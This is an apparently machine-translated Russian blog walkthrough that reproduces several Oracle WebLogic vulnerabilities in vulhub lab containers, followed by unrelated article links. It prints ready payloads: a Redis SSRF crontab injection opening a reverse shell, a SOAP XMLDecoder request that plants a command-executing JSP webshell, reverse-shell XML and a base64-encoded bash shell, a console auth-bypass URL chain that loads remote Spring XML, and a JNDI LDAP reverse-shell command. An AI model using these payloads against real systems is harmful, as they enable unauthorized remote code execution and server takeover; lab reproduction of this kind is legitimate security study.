повторение уязвимости в веблогике
повторение уязвимости в веблогике

Введение. Эту уязвимость можно использовать для отправки произвольных HTTP-запросов, а затем атаковать уязвимые компоненты, такие как redis и fastcgi, во внутренней сети.

уязвимость среды

https://github.com/vulhub/vulhub

Стартовая среда

docker-compose up -d

Начните следующим образом

Запуск среды

доступhttp://110.41.41.14:7001/uddiexplorer/,Вход в систему не требуется

Тестирование уязвимостей SSRF

URL-адрес уязвимости — http://110.41.41.14:7001/uddiexplorer/SearchPublicRegistries.jsp, а поле параметра уязвимости — оператор.

Мы используем BurpSuite для тестирования этой уязвимости и доступа к локальному порту 7001. Если порт доступен, будет сообщено о следующей ошибке.

Когда мы обращаемся к несуществующему порту, возвращается сообщение об ошибке «Не удалось подключиться».

Возвращенное сообщение об ошибке отличается. Вы можете определить статус интрасети

Внедряйте заголовки HTTP и используйте Redis для восстановления оболочки.

Weblogic может вводить символы новой строки через %0a%d, а служба redis также использует символы новой строки для разделения каждой команды. Поэтому мы можем использовать этот SSRF для атаки на сервер Redis в интрасети и использовать getshell для записи журналов.

Как показано ниже: Сообщение об ошибке при доступе к IP-адресу интрасети содержит следующую информацию, что означает, что соединение установлено.

Отправьте следующую команду redis, чтобы записать команду оболочки восстановления в журнал.

Язык кода:javascript
копировать
set 1 "\n\n\n\n* * * * * root bash -c 'sh -i >& /dev/tcp/evil/21 0>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
​
​
http%3a%2f%2f172.18.0.2%3a6379%2ftest%0a%0aset%201%20%22%5cn%5cn%5cn%5cn*%20*%20*%20*%20*%20root%20bash%20-c%20'sh%20-i%20%3e%26%20%2fdev%2ftcp%2f110.41.41.14%2f21%200%3e%261'%5cn%5cn%5cn%5cn%22%0aconfig%20set%20dir%20%2fetc%2f%0aconfig%20set%20dbfilename%20crontab%0asave%0a%0aaaaa
​
Уведомление:
Необходимо указать IP-адрес получателя оболочки и руководить кодировкой URL-адреса.
Символ новой строки“\r\n”,Это "%0D%0A",Поэтому нам нужно добавить символ новой строки в конце, чтобы гарантировать, что формат файла плана задач не будет нарушен.

копировать

Мониторинг ЧПУ успешно восстанавливает оболочку

/etc/crontab Это точно

/etc/cron.d/* Запишите любой файл в этот каталог. Эффект тот же, что и у crontab, и формат должен быть таким же, как у /etc/crontab. Используя этот каталог, оболочку можно запустить, не перезаписывая другие файлы.

/var/spool/cron/root Файл cron пользователя root в системе Centos.

Файл /var/spool/cron/crontabs/root cron для пользователя root в системе Debian

CVE-2017-10271 (десериализация XML-декодера)

Введение

Компонент безопасности WLS компании Weblogic предоставляет услуги веб-сервиса внешнему миру. XMLDecoder используется для анализа XML-данных, передаваемых пользователем. В процессе анализа возникает уязвимость десериализации, позволяющая выполнять произвольные команды.

уязвимость среды

https://github.com/vulhub/vulhub

Стартовая среда

docker-compose up -d

Начните следующим образом

Посетите http://110.41.41.14:7001/wls-wsat/CoordinatorPortType. Появится следующее сообщение, указывающее, что среда успешно запущена.

Проверяем, может ли веб-шелл успешно писать

Войдите в докер-контейнер, чтобы проверить успешную запись.

Напишите в веб-шелле, путь — /bea_wls_internal/test.jsp, обратите внимание, что поле типа содержимого заголовка запроса изменяется на тип text/xml.

Язык кода:javascript
копировать
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
     <soapenv:Header>
     <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
     <java>
     <java version="1.4.0" class="java.beans.XMLDecoder">
     <object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
     <void method="println">
     <string><![CDATA[<%
        if("023".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
     }
     %>]]></string>
     </void>
     <void method="close"/>
     </object>
     </java>
     </java>
     </work:WorkContext>
     </soapenv:Header>
     <soapenv:Body/>
     </soapenv:Envelope>

копировать

Браузер обращается к веб-оболочке и успешно выполняет команду.

Написать оболочку отскока

Язык кода:javascript
копировать
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/10.0.0.1/21 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

копировать

мониторинг vps успешно получает оболочку

CVE-2018-2628 (выполнение команды десериализации)

Введение

Эта уязвимость срабатывает через протокол t3, который может привести к тому, что неавторизованные пользователи смогут выполнять произвольные команды на удаленном сервере. Протокол T3 — это просто протокол быстрой передачи.

уязвимость среды

https://github.com/vulhub/vulhub

Стартовая среда

docker-compose up -d

Начните следующим образом

Повторение уязвимости

Для повторения уязвимости необходимо загрузить скрипты ysoserial и Exploit.py. Мы используем ysoserial, чтобы открыть службу JRMP.

Язык кода:javascript
копировать
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 2333 CommonsCollections1 'mkdir /tmp/test'
​
Чтобы использовать инструмент, перейдите по следующей ссылке. http://ytming.cn/index.php/2024/03/10/использование инструмента ysoserial/

копировать

Запустить скрипт эксплойта

Язык кода:javascript
копировать
python /root/44553.py 110.41.41.14 7001 ysoserial.jar 110.41.41.14 2333 JRMPClient
​
Значения параметров следующие: язык путь к сценарию Целевой IP целевой порт локальный путь ysSerial IP-адрес последовательной службы серийный сервисный порт имя службы прослушивания ysSerial
Этот скрипт лучше всего запускать в среде Python2.,Должно быть закодировано для Python3 иначе, чем для Python2.,вызывать проблемы

копировать

Как показано ниже, успешное рукопожатие указывает на успешное выполнение сценария.

Как показано ниже, введите docker, чтобы просмотреть успешно созданный каталог.

наконец

Я хочу попробовать, смогу ли я успешно восстановить снаряд, но не знаю, почему его невозможно воспроизвести. Если вам интересно, вы можете прийти и попробовать сами.

Это должна быть функция языка Java, и символы перенаправления не могут существовать, поэтому нам нужно использовать кодировку, чтобы обойти ее.

Язык кода:javascript
копировать
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTAuNDEuNDEuMTQvMjEgMD4mMQ==}|{base64,-d}|{bash,-i}

копировать

CVE-2018-2894(upload)

Введение

На тестовой странице веб-службы Weblogic существует уязвимость, связанная с загрузкой произвольных файлов. Тестовая страница веб-службы по умолчанию не включена в «производственном режиме», поэтому эта уязвимость имеет определенные ограничения.

уязвимость среды

https://github.com/vulhub/vulhub

Стартовая среда

docker-compose up -d

Начните следующим образом

Повторение уязвимости

Введите эту команду, чтобы просмотреть пароль пользователя weblogic. Пароль является случайным. Для просмотра пароля используйте docker.

доступhttp://110.41.41.14/consoleВведите имя пользователя и пароль в интерфейсе, чтобы войти в интерфейс, показанный ниже, для загрузки.WEBтестовая страница

Посетите http://110.41.41.14:7001/ws_utc/config.do Замените поле параметра Work Home Dir следующим путем /u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle. веб-сервисы wls.ws-testclient-app-wls/4mcj4y/war/css. Просто нажмите «Отправить»

Нажмите «Безопасность» — «Добавить» — введите все, что хотите. Файл — это файл сценария, который вы хотите загрузить.

Откройте захват пакетов Burp и получите доступ к http://110.41.41.14:7001/ws_utc/css/config/keystore/1709900051479_10.jsp через timestamp_filename.jsp

Чтобы получить доступ к браузеру, введите команду, которую необходимо выполнить для успешного доступа к нему.

Эта операция загрузки файла относительно проста, но обязательным условием является то, что вам необходимо знать пароль фонового администратора.

CVE-2020-14882 (несанкционированный + RCE)

Введение

Этот рецидив представляет собой комбинацию двух уязвимостей, приводящих к удаленному выполнению команд, а именно CVE-2020-14882 и CVE-2020-14883.

CVE-2020-14882 позволяет неавторизованным пользователям обходить проверку разрешений консоли управления на доступ к серверной части, а CVE-2020-14883 позволяет любому пользователю на внутренней стороне выполнять произвольные команды через протокол HTTP. Используя цепочку эксплойтов, состоящую из этих двух уязвимостей, команды могут выполняться от имени любого неавторизованного пользователя на удаленном сервере Weblogic посредством запроса GET.

уязвимость среды

https://github.com/vulhub/vulhub

Стартовая среда

docker-compose up -d

Начните следующим образом

Повторение уязвимости

Доступ по пути /console/css/%252e%252e%252fconsole.portal напрямую обходит страницу входа. Однако, если вы внимательно выясните или выполните операции со страницей в фоновом режиме, вы обнаружите, что многие функции или разрешения недоступны. недостаточны.

Из вышеизложенного видно, что уязвимость не представляет опасности. В настоящее время необходимо использовать вторую уязвимость CVE-2020-14883. Существует два способа эксплуатации этой уязвимости. Один из них — через com.tangosol.coherence.mvel2. .sh.ShellSession, а другой — через com.tangosol.coherence.mvel2.sh.ShellSession com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext.

Вы можете использовать первый метод для выполнения команд, напрямую обращаясь к следующему URL-адресу:

http://110.41.41.14:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success1');")

Войдите в докер, и вы обнаружите, что файл был успешно создан.

Однако первый метод эксплуатации можно использовать только в Weblogic 12.2.1 и выше, поскольку класс com.tangosol.coherence.mvel2.sh.ShellSession не существует в версии 10.3.6.

com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext — это более распространенный метод уничтожения, который использовался в CVE-2019-2725 и является общим для всех версий Weblogic.

Затем, чтобы использовать этот метод, вам сначала необходимо создать XML-файл и сохранить его на сервере, к которому имеет доступ weblogic, например http://110.41.41.14/rce.xml:

Язык кода:javascript
копировать
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
   xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
          <list>
            <value>bash</value>
            <value>-c</value>
            <value><![CDATA[touch /tmp/success2]]></value>
          </list>
        </constructor-arg>
    </bean>
</beans>

копировать

Наш VPS напрямую использует Python для создания простого http-сервиса.

Затем по следующему URL-адресу weblogic может загрузить этот XML-файл и выполнить команды из XML-файла.

http://110.41.41.14:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://110.41.41.14:888/rce.xml")

Файл успешно создан

Этот метод требует, чтобы weblogic успешно получил доступ к созданному нами вредоносному URL-адресу, поэтому условия использования ограничены.

CVE-2023-21839(RCE)

Введение

CVE-2023-21839 позволяет удаленным пользователям выполнять операции поиска JNDI через IIOP/T3 без авторизации, что может привести к уязвимостям RCE, если версия JDK слишком низкая или гаджет (javaSerializedData) существует локально.

уязвимость среды

https://github.com/vulhub/vulhub

Стартовая среда

docker-compose up -d

Начните следующим образом

Повторение уязвимости

https://github.com/DXask88MA/Weblogic-CVE-2023-21839/releases/tag/CVE-2023-21839

https://github.com/WhiteHSBG/JNDIExploit/releases/tag/v1.4

Приведенный выше URL-адрес представляет собой инструмент, необходимый для повторения уязвимости. Этот инструмент требует использования версии JDK8.

Выполнить пакет jar с помощью Java

На DNS-запрос успешно ответили, что указывает на существование уязвимости.

Отскок снаряда

Сначала вам нужно использовать JNDIExploit-1.4-SNAPSHOT.jar для запуска службы ldap.

java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 110.41.41.14

NC для мониторинга

nc -lp 8888

Выполните следующую команду в существующей версии JDK8.

java -jar Weblogic-CVE-2023-21839.jar 110.41.41.14:7001 ldap://110.41.41.14:1389/Basic/ReverseShell/110.41.41.14/8888

Вернитесь в оболочку успешно

boy illustration
Неразрушающее увеличение изображений одним щелчком мыши, чтобы сделать их более четкими артефактами искусственного интеллекта, включая руководства по установке и использованию.
boy illustration
Копикодер: этот инструмент отлично работает с Cursor, Bolt и V0! Предоставьте более качественные подсказки для разработки интерфейса (создание навигационного веб-сайта с использованием искусственного интеллекта).
boy illustration
Новый бесплатный RooCline превосходит Cline v3.1? ! Быстрее, умнее и лучше вилка Cline! (Независимое программирование AI, порог 0)
boy illustration
Разработав более 10 проектов с помощью Cursor, я собрал 10 примеров и 60 подсказок.
boy illustration
Я потратил 72 часа на изучение курсорных агентов, и вот неоспоримые факты, которыми я должен поделиться!
boy illustration
Идеальная интеграция Cursor и DeepSeek API
boy illustration
DeepSeek V3 снижает затраты на обучение больших моделей
boy illustration
Артефакт, увеличивающий количество очков: на основе улучшения характеристик препятствия малым целям Yolov8 (SEAM, MultiSEAM).
boy illustration
DeepSeek V3 раскручивался уже три дня. Сегодня я попробовал самопровозглашенную модель «ChatGPT».
boy illustration
Open Devin — инженер-программист искусственного интеллекта с открытым исходным кодом, который меньше программирует и больше создает.
boy illustration
Эксклюзивное оригинальное улучшение YOLOv8: собственная разработка SPPF | SPPF сочетается с воспринимаемой большой сверткой ядра UniRepLK, а свертка с большим ядром + без расширения улучшает восприимчивое поле
boy illustration
Популярное и подробное объяснение DeepSeek-V3: от его появления до преимуществ и сравнения с GPT-4o.
boy illustration
9 основных словесных инструкций по доработке академических работ с помощью ChatGPT, эффективных и практичных, которые стоит собрать
boy illustration
Вызовите deepseek в vscode для реализации программирования с помощью искусственного интеллекта.
boy illustration
Познакомьтесь с принципами сверточных нейронных сетей (CNN) в одной статье (суперподробно)
boy illustration
50,3 тыс. звезд! Immich: автономное решение для резервного копирования фотографий и видео, которое экономит деньги и избавляет от беспокойства.
boy illustration
Cloud Native|Практика: установка Dashbaord для K8s, графика неплохая
boy illustration
Краткий обзор статьи — использование синтетических данных при обучении больших моделей и оптимизации производительности
boy illustration
MiniPerplx: новая поисковая система искусственного интеллекта с открытым исходным кодом, спонсируемая xAI и Vercel.
boy illustration
Конструкция сервиса Synology Drive сочетает проникновение в интрасеть и синхронизацию папок заметок Obsidian в облаке.
boy illustration
Центр конфигурации————Накос
boy illustration
Начинаем с нуля при разработке в облаке Copilot: начать разработку с минимальным использованием кода стало проще
boy illustration
[Серия Docker] Docker создает мультиплатформенные образы: практика архитектуры Arm64
boy illustration
Обновление новых возможностей coze | Я использовал coze для создания апплета помощника по исправлению домашних заданий по математике
boy illustration
Советы по развертыванию Nginx: практическое создание статических веб-сайтов на облачных серверах
boy illustration
Feiniu fnos использует Docker для развертывания личного блокнота Notepad
boy illustration
Сверточная нейронная сеть VGG реализует классификацию изображений Cifar10 — практический опыт Pytorch
boy illustration
Начало работы с EdgeonePages — новым недорогим решением для хостинга веб-сайтов
boy illustration
[Зона легкого облачного игрового сервера] Управление игровыми архивами
boy illustration
Развертывание SpringCloud-проекта на базе Docker и Docker-Compose